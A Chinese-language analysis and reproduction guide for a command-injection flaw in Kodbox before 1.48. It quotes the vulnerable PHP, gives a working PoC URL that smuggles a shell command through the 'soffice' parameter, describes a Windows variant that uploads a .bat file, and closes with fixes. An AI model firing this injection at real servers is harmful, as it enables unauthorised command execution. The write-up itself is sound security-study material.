某cms代码注入漏洞复现与分析
字数 970 2025-08-18 17:33:38
Kodbox 1.47 命令注入漏洞分析与复现指南
漏洞概述
Kodbox 是一款功能丰富的私有云在线文档管理系统,可作为网络文件管理器和网页代码编辑器使用。在版本低于1.48的系统中存在一个命令注入漏洞,攻击者可通过精心构造的请求在服务器上执行任意命令。
漏洞影响版本:Kodbox < 1.48
漏洞文件:plugins/officeViewer/controller/libreOffice/index.class.php
漏洞类型:命令注入
环境搭建
-
下载Kodbox 1.47版本源码:
https://github.com/kalcaddle/kodbox -
系统要求:
- PHP版本5以上
- 支持shell_exec函数的环境
漏洞分析
漏洞代码定位
漏洞主要存在于index.class.php文件中的checkBin方法:
private function checkBin($bin, $check) {
$code = Cache::get($bin);
if($code) return $code;
$result = shell_exec($bin . ' --help'); // ' 2>&1'
$code = strstr($result, $check) ? true : false;
Cache::set($bin, $code);
return $code;
}
漏洞触发流程
-
攻击者通过HTTP请求传入
soffice参数 -
参数值被传递到
check()方法:public function check() { $bin = $this->in['soffice']; // 从HTTP请求获取soffice参数 // ...省略部分代码... if(isset($_GET['check'])){ // ...省略检查代码... $soffice = $this->getSoffice(); } // ...省略后续代码... } -
在Windows环境下,参数会被特殊处理:
$bin = '"' . trim(iconv_system($bin)) . '"'; // win路径空格处理 -
最终参数被直接拼接到shell_exec命令中执行
漏洞利用
Linux系统利用
POC:
/index.php?plugin/officeViewer/libreOffice/index/check&soffice=";id;%23&check=1
解释:
"用于闭合原有的双引号;用于分隔命令id是要执行的命令%23是URL编码的#,用于注释掉后续内容
Windows系统利用
前提条件:
- 有权限上传文件到服务器
- 知道可执行文件的绝对路径
利用步骤:
-
上传恶意bat文件(如poc.bat)到服务器,内容为任意命令:
@echo off whoami -
构造请求执行bat文件:
/index.php?plugin/officeViewer/libreOffice/index/check&soffice=D:\path\to\poc.bat
防御措施
-
升级到Kodbox 1.48或更高版本
-
临时修复方案:
- 禁用shell_exec函数
- 对用户输入的
soffice参数进行严格过滤 - 使用escapeshellarg()等函数处理命令参数
-
安全配置建议:
- 限制文件上传类型
- 设置文件上传目录不可执行
- 使用最小权限原则运行Web服务
技术总结
该漏洞的核心问题在于未对用户可控的soffice参数进行充分过滤,直接拼接到了shell_exec命令中。在安全开发中,应始终遵循以下原则:
- 所有用户输入都应视为不可信的
- 执行系统命令时应使用白名单机制
- 必要时使用专门的命令转义函数
- 避免直接拼接用户输入到系统命令中
通过此漏洞的分析,我们可以更深入地理解命令注入漏洞的原理和利用方式,从而在开发中更好地防范此类安全问题。